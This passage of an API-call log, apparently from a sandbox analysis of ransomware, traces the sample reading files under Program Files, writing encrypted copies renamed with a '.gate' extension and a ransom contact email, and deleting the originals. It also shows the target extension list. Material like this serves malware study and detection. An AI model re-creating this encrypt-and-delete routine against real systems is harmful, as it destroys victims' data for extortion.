[0299.079] lstrlenW (lpString=".docx") returned 5 [0299.079] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0299.079] lstrlenW (lpString=".pdf") returned 4 [0299.079] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString=".xls") returned 4 [0299.079] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString=".xlsx") returned 5 [0299.079] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0299.079] lstrlenW (lpString=".ppt") returned 4 [0299.079] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0299.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.079] lstrlenW (lpString=".zip") returned 4 [0299.080] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0299.080] lstrlenW (lpString=".rar") returned 4 [0299.080] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0299.080] lstrlenW (lpString=".bz2") returned 4 [0299.080] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0299.080] lstrlenW (lpString=".7z") returned 3 [0299.080] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0299.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.080] lstrlenW (lpString=".dbf") returned 4 [0299.080] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0299.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.080] lstrlenW (lpString=".1cd") returned 4 [0299.080] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0299.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0299.080] lstrlenW (lpString=".jpg") returned 4 [0299.080] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0299.080] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0299.080] lstrlenW (lpString="local_policy.jar") returned 16 [0299.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.081] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=3527) returned 1 [0299.081] CloseHandle (hObject=0x414) returned 1 [0299.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0299.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0299.081] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.082] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.082] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0299.082] GetLastError () returned 0x0 [0299.082] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0xdc7, lpOverlapped=0x0) returned 1 [0299.184] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0299.185] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.185] WriteFile (in: hFile=0x564, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0299.185] SetEndOfFile (hFile=0x564) returned 1 [0299.185] CloseHandle (hObject=0x564) returned 1 [0299.185] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.185] SetEndOfFile (hFile=0x414) returned 1 [0299.203] CloseHandle (hObject=0x414) returned 1 [0299.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.204] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0299.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.204] lstrlenW (lpString=".doc") returned 4 [0299.204] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0299.204] lstrlenW (lpString=".docx") returned 5 [0299.204] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0299.204] lstrlenW (lpString=".pdf") returned 4 [0299.204] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0299.204] lstrlenW (lpString=".xls") returned 4 [0299.204] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0299.204] lstrlenW (lpString=".xlsx") returned 5 [0299.205] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0299.205] lstrlenW (lpString=".ppt") returned 4 [0299.205] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0299.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.205] lstrlenW (lpString=".zip") returned 4 [0299.205] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0299.205] lstrlenW (lpString=".rar") returned 4 [0299.205] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0299.205] lstrlenW (lpString=".bz2") returned 4 [0299.205] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0299.205] lstrlenW (lpString=".7z") returned 3 [0299.205] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0299.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.205] lstrlenW (lpString=".dbf") returned 4 [0299.205] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0299.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.205] lstrlenW (lpString=".1cd") returned 4 [0299.205] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0299.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.205] lstrlenW (lpString=".jpg") returned 4 [0299.205] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0299.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.205] lstrlenW (lpString=".doc") returned 4 [0299.206] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0299.206] lstrlenW (lpString=".docx") returned 5 [0299.206] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0299.206] lstrlenW (lpString=".pdf") returned 4 [0299.206] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0299.206] lstrlenW (lpString=".xls") returned 4 [0299.206] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0299.206] lstrlenW (lpString=".xlsx") returned 5 [0299.206] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0299.206] lstrlenW (lpString=".ppt") returned 4 [0299.206] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0299.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.206] lstrlenW (lpString=".zip") returned 4 [0299.206] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0299.206] lstrlenW (lpString=".rar") returned 4 [0299.206] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0299.206] lstrlenW (lpString=".bz2") returned 4 [0299.206] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0299.206] lstrlenW (lpString=".7z") returned 3 [0299.206] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0299.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.206] lstrlenW (lpString=".dbf") returned 4 [0299.206] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0299.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.206] lstrlenW (lpString=".1cd") returned 4 [0299.206] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0299.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0299.206] lstrlenW (lpString=".jpg") returned 4 [0299.206] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0299.206] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0299.207] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0299.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\petitionswapdame.exe" (normalized: "c:\\program files\\java\\petitionswapdame.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.216] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=75776) returned 1 [0299.216] CloseHandle (hObject=0x4e8) returned 1 [0299.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\petitionswapdame.exe" (normalized: "c:\\program files\\java\\petitionswapdame.exe")) returned 0x20 [0299.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\petitionswapdame.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\petitionswapdame.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.217] CreateFileW (lpFileName="C:\\Program Files\\Java\\petitionswapdame.exe" (normalized: "c:\\program files\\java\\petitionswapdame.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0299.217] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.217] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.217] lstrlenW (lpString=".doc") returned 4 [0299.217] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.217] lstrlenW (lpString=".docx") returned 5 [0299.217] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0299.217] lstrlenW (lpString=".pdf") returned 4 [0299.217] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.217] lstrlenW (lpString=".xls") returned 4 [0299.217] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.217] lstrlenW (lpString=".xlsx") returned 5 [0299.217] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0299.217] lstrlenW (lpString=".ppt") returned 4 [0299.217] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.217] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.217] lstrlenW (lpString=".zip") returned 4 [0299.217] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.217] lstrlenW (lpString=".rar") returned 4 [0299.217] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.217] lstrlenW (lpString=".bz2") returned 4 [0299.217] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.217] lstrlenW (lpString=".7z") returned 3 [0299.217] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.217] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.217] lstrlenW (lpString=".dbf") returned 4 [0299.217] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.217] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString=".1cd") returned 4 [0299.218] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.218] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString=".jpg") returned 4 [0299.218] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.218] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString=".doc") returned 4 [0299.218] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0299.218] lstrlenW (lpString=".docx") returned 5 [0299.218] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0299.218] lstrlenW (lpString=".pdf") returned 4 [0299.218] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0299.218] lstrlenW (lpString=".xls") returned 4 [0299.218] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0299.218] lstrlenW (lpString=".xlsx") returned 5 [0299.218] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0299.218] lstrlenW (lpString=".ppt") returned 4 [0299.218] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0299.218] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString=".zip") returned 4 [0299.218] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0299.218] lstrlenW (lpString=".rar") returned 4 [0299.218] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0299.218] lstrlenW (lpString=".bz2") returned 4 [0299.218] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0299.218] lstrlenW (lpString=".7z") returned 3 [0299.218] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0299.218] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString=".dbf") returned 4 [0299.218] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0299.218] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.218] lstrlenW (lpString=".1cd") returned 4 [0299.219] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0299.219] lstrlenW (lpString="C:\\Program Files\\Java\\petitionswapdame.exe") returned 42 [0299.219] lstrlenW (lpString=".jpg") returned 4 [0299.219] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0299.219] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0299.219] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0299.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.222] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=18624) returned 1 [0299.222] CloseHandle (hObject=0x50c) returned 1 [0299.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0299.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0299.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.255] lstrlenW (lpString=".doc") returned 4 [0299.255] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString=".docx") returned 5 [0299.255] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.255] lstrlenW (lpString=".pdf") returned 4 [0299.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString=".xls") returned 4 [0299.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString=".xlsx") returned 5 [0299.255] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.255] lstrlenW (lpString=".ppt") returned 4 [0299.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.255] lstrlenW (lpString=".zip") returned 4 [0299.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString=".rar") returned 4 [0299.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString=".bz2") returned 4 [0299.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.255] lstrlenW (lpString=".7z") returned 3 [0299.255] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.255] lstrlenW (lpString=".dbf") returned 4 [0299.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.255] lstrlenW (lpString=".1cd") returned 4 [0299.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.255] lstrlenW (lpString=".jpg") returned 4 [0299.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.256] lstrlenW (lpString=".doc") returned 4 [0299.256] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.256] lstrlenW (lpString=".docx") returned 5 [0299.256] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.256] lstrlenW (lpString=".pdf") returned 4 [0299.256] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.256] lstrlenW (lpString=".xls") returned 4 [0299.256] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.256] lstrlenW (lpString=".xlsx") returned 5 [0299.256] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.256] lstrlenW (lpString=".ppt") returned 4 [0299.256] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.256] lstrlenW (lpString=".zip") returned 4 [0299.256] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.256] lstrlenW (lpString=".rar") returned 4 [0299.256] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.256] lstrlenW (lpString=".bz2") returned 4 [0299.256] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.256] lstrlenW (lpString=".7z") returned 3 [0299.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.256] lstrlenW (lpString=".dbf") returned 4 [0299.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.256] lstrlenW (lpString=".1cd") returned 4 [0299.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0299.256] lstrlenW (lpString=".jpg") returned 4 [0299.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.257] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0299.257] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0299.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.257] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=22720) returned 1 [0299.258] CloseHandle (hObject=0x568) returned 1 [0299.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0299.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0299.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.258] lstrlenW (lpString=".doc") returned 4 [0299.258] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".docx") returned 5 [0299.258] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.258] lstrlenW (lpString=".pdf") returned 4 [0299.258] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".xls") returned 4 [0299.258] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".xlsx") returned 5 [0299.258] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.258] lstrlenW (lpString=".ppt") returned 4 [0299.258] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.258] lstrlenW (lpString=".zip") returned 4 [0299.258] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.258] lstrlenW (lpString=".rar") returned 4 [0299.259] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString=".bz2") returned 4 [0299.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.259] lstrlenW (lpString=".7z") returned 3 [0299.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.259] lstrlenW (lpString=".dbf") returned 4 [0299.259] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.259] lstrlenW (lpString=".1cd") returned 4 [0299.259] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.259] lstrlenW (lpString=".jpg") returned 4 [0299.259] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.259] lstrlenW (lpString=".doc") returned 4 [0299.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString=".docx") returned 5 [0299.259] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0299.259] lstrlenW (lpString=".pdf") returned 4 [0299.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString=".xls") returned 4 [0299.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString=".xlsx") returned 5 [0299.259] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0299.259] lstrlenW (lpString=".ppt") returned 4 [0299.259] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0299.259] lstrlenW (lpString=".zip") returned 4 [0299.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.260] lstrlenW 